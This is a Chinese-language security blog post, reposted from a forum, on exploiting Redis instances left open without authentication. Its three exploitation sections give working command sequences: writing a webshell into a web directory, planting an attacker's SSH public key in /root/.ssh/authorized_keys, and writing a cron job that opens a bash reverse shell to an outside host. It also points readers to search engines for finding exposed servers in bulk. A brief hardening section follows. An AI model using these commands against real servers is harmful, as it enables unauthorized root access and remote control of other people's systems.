Redis未授权访问漏洞的利用姿势

本文来自:i春秋社区

0x01 Redis简介

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现分布式,另外也开始流行使用redis作为session的存储器来替换传统的文件方式。在默认情况下,Redis会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis的数据。

redis的配置中,有以下几个关键的点:

dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename,RDB文件名,默认为“dump.rdb”
appendonly,是否开启AOF
appendfilename,AOF文件名,默认为“appendonly.aof”
appendfsync,AOF备份方式:always、everysec、no


0x02 Redis之WebShell
082720mi17yeoy5die7tzi.jpg
如果服务器存在web项目,并且你知道了系统路径,我们就可以通过如下方法来获取该服务器的webshell。
082722clkmlfu65hzylglm.jpg
即我们可以将dir设置为web目录/usr/share/nginx/html/,而dbfilename为文件名1.shell,再执行save或bgsave,则我们就可以在web目录下写入一个webshell。

0x03 Redis之SSH
攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
首先在本地生产公私钥文件:

$ssh-keygen –t rsa


082723ynyk19ue6e4q2v62.png
然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt


再连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

OK

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

OK

$ 192.168.1.11:6379> save

OK


082721ws1tvvuzt3184twt.png
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh –i  id_rsa [email]root@192.168.1.xxx


即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

0x04 Redis之计划任务

/var/spool/cron linux机器下默认的计划任务,开启cron的时候,linux会定时去执行里面的任务,文件名为用户名
2 redis 设置dbfilename 到上面可以直接反弹shell回来
利用方式如下:

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.xx -x set 1

redis-cli -h 42.121.237.23                                                                                     

42.121.237.23:6379> config set dir /var/spool/cron

OK

42.121.237.23:6379> config set dbfilename root

OK

42.121.237.23:6379> save

OK

然后本机nc -lvv 2333


这种方式简单粗暴明了,连提权都省了~
具体案例参见:https://www.secpulse.com/archives/49962.html

0x05 安全建议

1.配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
2.配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
3.配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度。
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。
参考来源:
https://www.secpulse.com/archives/5357.html
https://www.secpulse.com/archives/40406.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
如何批量查找那??大家可以利用钟馗之眼fofa等搜索器!!】

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

转载于:https://my.oschina.net/ichunqiu/blog/815871

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值